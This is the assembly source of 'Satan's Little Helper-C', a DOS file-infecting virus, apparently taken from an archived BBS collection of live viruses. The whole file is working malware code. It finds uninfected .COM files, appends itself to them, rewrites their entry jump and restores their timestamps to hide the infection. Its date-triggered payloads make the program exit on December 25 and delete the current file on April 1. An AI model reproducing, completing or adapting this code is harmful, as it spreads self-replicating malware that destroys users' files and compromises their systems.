The Unsorted BBS Collection/thegreatunsorted.tar/thegreatunsorted/live_viruses/virus_collections/satnlh.asm

Assembly Source File | 1992-01-20 | 5KB | 354 lines

;            Virus
;        Satan's Little Helper-C
;This version:
;Searches current directory for non-infected com files, if any found
;it will become infected!
;This virus has a routine which self-destructs itself and uninfects
;the file.
    assume cs:code
    .286
code    segment    "code"
    org 0100h
start    proc
    jmp    v_start        ;first 5 bytes |
    nop            ;              |
    nop            ;              |
v_start:
    call $+3        ;Actual virus
    pop dx
    sub dx, 3
    push dx            ;save relocation factor in BP
    pop bp            ;so virus can be copied anywhere twoards
    mov si, dx        ;the end of the file
                ;
;            Replace first 5 bytes in memory with original
;            program code so normal program can run later
    add si, first_five
    mov di, 0100h
    mov cx, 5
    lodsb
    stosb
    loop $-2
;see if user want to disinfect this file
    mov si, 82h
    lodsb
    cmp al, "["        ;is al the code to disinfect?  "["
    jne ok_dont_disinfect
    jmp self_kill
ok_dont_disinfect:
                ;here should be date checks to see
                ;if an evil function should be unleashed!!
    mov ah, 2ah
    int 21h
    ;cx year 1980-2099
    ;dh month 1-12
    ;dl day
    ;al day of week  0=sun 1=mon -> 7=sat
    cmp dh, 12
    jne notdec
    cmp dl, 25
    jne notdec
    jmp christmas
notdec:
    cmp dh, 4
    jne notapril
    cmp dl, 1
    jne notapril
    jmp aprilfools
notapril:

;Set the DTA
    call set_dta
                ;find first file to  ?infect?
    call find_first_file
go_again:
    mov si, bp
    add si, size_
    lodsw
    cmp ax, 5
    ja gd4
    jmp resrch
gd4:
    call open_file
    mov bx, ax
    mov al, 0
    call date_time
    mov ah, 3fh
    mov cx, 5
    mov dx, bp
    add dx, first_five
    int 21h
    mov ax, 4202h
    mov cx, 0
    mov dx, cx
    int 21h
    sub ax, 3
    mov si, bp
    add si, new_5
    mov [si+1], ax
    mov si, bp
    mov di, si
    add si, chkmark
    add di, mark
    mov cx, 2
    repe cmpsb
    jne INFECT
;File found was previously infected!
; search for new one now.
    jmp resrch

wipe_name:
    push di
    push ax
    push cx
    mov di, bp
    add di, name_
    mov cx, 13
    mov al, 0
    rep stosb
    pop cx
    pop ax
    pop di
    ret
resrch:
    call wipe_name
    mov ah, 4fh
    int 21h
    jnc gd3
    jmp term_virus
gd3:
    jmp go_again
INFECT:
;Time to infect the file!!
    mov si, bp
    add si, handle
    mov bx, [si]
    mov cx, vsize
    mov dx, bp
    call wipe_name
    mov ax, 4000h
    int 21h
    mov ax, 4200h
    mov cx, 0
    mov dx, cx
    int 21h
    mov dx, bp
    add dx, new_5
    mov ax, 4000h
    mov cx, 5
    int 21h
    mov al, 1
    call date_time
    mov ax, 3e00h
    int 21h
    jmp resrch

fndnam    proc
    mov si, env
    mov ax, [si]
    mov es, ax
    mov ds, ax
    mov si, 0
    mov di, si
__lp:
    lodsb
    cmp al, 0
    je chknxt
    stosb
    jmp __lp
chknxt:
    stosb
    lodsb
    cmp al, 0
    je fnd1
    stosb
    jmp __lp
fnd1:
    stosb
__lp2:
    lodsb
    cmp al, "a"
    jae ff_
up2:
    cmp al, "A"
    jae fff_
up3:
    stosb
    jmp __lp2
ff_:
    cmp al,"z"
    jbe fnd
    jmp up2
fff_:
    cmp al, "Z"
    jbe fnd
    jmp up3
fnd:
    mov si, di
    mov al, 0
    repne scasb
    mov dx, si
    mov di, dx
    ret
env    equ 2ch
fndnam     endp


self_kill:
        ;this procedure disinfects specified files
        ;SI points to the name of current file on disk
        ;which is infected
    call fndnam    ;find name of current file from env block in memory
    jmp gd__
abrt:
    int 20h
gd__:
    mov ax, 3d02h
    int 21h
    jc abrt
    mov bx, ax
    mov ax, cs
    mov ds, ax
    mov es, ax
    mov cx, 5
    mov dx, bp
    add dx, first_five
    call wipe_name
    mov ax, 4000h
    int 21h
    jc abrt
    mov dx, 0
    mov cx, 0
    mov ax, 4202h
    int 21h
    jnc gd__1
    jmp abrt
gd__1:
    sub ax, vsize
    mov dx, ax
    mov cx, 0
    mov ax, 4200h
    int 21h
    call wipe_name
    mov cx, 0
    mov ax, 4000h
    int 21h
    mov ax, 3e00h
    int 21h
    jmp term_virus
date_time:
    pusha
    mov ah, 57h
    cmp al, 0
    je fnd__$
    mov di, bp
    mov si, di
    add di, date
    add si, time
    mov dx, [di]
    mov cx, [si]
    int 21h
    jmp ret__
fnd__$:
    int 21h
    mov si, bp
    mov di, bp
    add si, time
    add di, date
    mov [si], cx
    mov [di], dx
ret__:
    popa
    ret
open_file:
    mov dx, bp
    add dx, name_
    mov ax, 3d02h
    int 21h
    jnc gd2
    jmp term_virus
gd2:
    mov si, bp
    add si, handle
    mov [si], ax
    ret
find_first_file:
    mov dx, bp
    mov cx, 0
    mov ah, 4eh
    add dx, all_com_files
    int 21h
    jnc gd1
    jmp term_virus
gd1:
    ret
set_dta:
    mov dx, bp
    mov ah, 1ah
    add dx, dta
    int 21h
    ret
term_virus:
    mov ax, 0
    mov bx, ax
    mov cx, bx
    mov dx, cx
    mov si, 0100h
    mov di, -1
    mov bp, di
    push 0100h
    ret

CHRISTMAS:
;Program Lockup
; Exit without running program
    int 20h
APRILFOOLS:
;Ha Ha delete current file
    call fndnam
    mov ah, 41h
    int 21h
    mov ax, cs
    mov ds, ax
    mov es, ax
    jmp term_virus
;            Data    Bank
_fstfive:
    int 20h
    nop
ckmrk:
    nop
    nop
acf    db "*.COM",0
dt_    dw 0
tme    dw 0
d_t_a:
    rfd    db 21 dup (0)
    att    db 0
        dw 0
        dw 0
    sz    dd 0
    n_me    db 13 dup (0),0
handl    dw 0
nw_5    db 0e9h,0,0
mrk    db "66"
strain    db "C"
;
end___:
first_five    = offset _fstfive-0105h
all_com_files    = offset acf-0105h
dta        = offset d_t_a-0105h
attribute    = offset att-0105h
time        = offset tme-0105h
date        = offset dt_-0105h
size_        = offset sz-0105h
name_        = offset n_me-0105h
handle        = offset handl-0105h
new_5        = offset nw_5-0105h
mark        = offset mrk-0105h
chkmark        = offset ckmrk-0105h
vsize        = offset end___-0105h
start    endp
code    ends
    end    start